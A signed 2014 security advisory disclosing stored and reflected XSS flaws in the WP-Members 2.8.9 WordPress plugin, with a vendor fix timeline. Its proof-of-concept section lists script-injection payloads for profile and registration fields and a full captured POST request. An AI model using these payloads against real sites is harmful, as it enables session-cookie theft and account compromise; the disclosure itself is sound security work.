WordPress WP-Members 2.8.9 Cross Site Scripting

2014.01.09
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Advisory: Wordpress Plugin WP-Members Version 2.8.9 - Stored and reflected Cross-site Scripting vulnerabilities Advisory ID: SSCHADV2014-001 Author: Stefan Schurtz Affected Software: Successfully tested on WP-Members Version 2.8.9 Vendor URL: http://wordpress.org/plugins/wp-members/ Vendor Status: fixed ========================== Vulnerability Description ========================== The Wordpress plugin "WP-Members 2.8.9" is prone to reflected and stored XSS vulnerabilities ========================== PoC-Exploit ========================== // Stored-XSS Profile "WP-Members Additional Fields" (Backend) Works for Editor, Subscriber, Contributor and Author. &addr1=" onMouseMove=alert(document.cookie) ' &addr2=" onMouseMove=alert(document.cookie) ' &city=" onMouseMove=alert(document.cookie) ' &thestate=" onMouseMove=alert(document.cookie) ' &zip=" onMouseMove=alert(document.cookie) ' &country=" onMouseMove=alert(document.cookie) ' &phone1=" onMouseMove=alert(document.cookie) ' // POST-Request Host: [Host] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://[Host]/wordpress/wp-admin/profile.php?updated=1 Cookie: wordpress_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C82134b1dfc3cf2c7d02dc21bae10977a; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C7c4a9b983a92d6c074e935263583cdf0; wp-settings-time-2=1388969329; wp-settings-2=editor%3Dhtml; PHPSESSID=9amg03t3qp8s54qh008slk4vo3 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 500 _wpnonce=d3dce96663&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fprofile.php%3Fupdated%3D1&from=profile&checkuser_id=2&color-nonce=8b5d6b3e25&admin_color=fresh&admin_bar_front=1&first_name=user&last_name=Smith&nickname=user&display_name=user&email=user%40user.local&url=http%3A%2F%2F3&description=1&pass1=&pass2=&addr1=" onMouseMove=alert(document.cookie) '&addr2=&city=&thestate=&zip=&country=%22+onMouseMove%3Dalert%28document.cookie%29+%27&phone1=3&test=3&action=update&user_id=2&submit=Profil+aktualisieren // Reflected Cross-site Scripting (1) Install plugin (2) http://[Host]/wp/wp-login.php?action=register First Name: '"--></style></script><script>alert(/XSS/)</script> Last Name: '"--></style></script><script>alert(/XSS/)</script> Address 1: '"--></style></script><script>alert(/XSS/)</script> Address 2: '"--></style></script><script>alert(/XSS/)</script> City: '"--></style></script><script>alert(/XSS/)</script> State: '"--></style></script><script>alert(/XSS/)</script> Zip: '"--></style></script><script>alert(/XSS/)</script> Country: '"--></style></script><script>alert(/XSS/)</script> Day Phone: '"--></style></script><script>alert(/XSS/)</script> ========================== Solution ========================== Upgrade to the latest version WP-Members 2.8.10 ========================== Disclosure Timeline ========================== 05-Jan-2014 - vendor informed by email (plugins@wordpress.org) 06-Jan-2014 - feedback from vendor 07-Jan-2014 - fixed by vendor ========================== Credits ========================== Vulnerabilities found and advisory written by Stefan Schurtz. ========================== References ========================== http://wordpress.org/plugins/wp-members/ http://www.darksecurity.de/advisories/2014/SSCHADV2014-001.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iEYEARECAAYFAlLNWvsACgkQg3svV2LcbMAr5QCfUTvS3DFaxixV2AkhElqH0Pmx XxUAn2fOWmAmVNBzq1NU+RW9yGfgwvBQ =Xbqn -----END PGP SIGNATURE-----

References:

http://wordpress.org/plugins/wp-members/
http://www.darksecurity.de/advisories/2014/SSCHADV2014-001.txt


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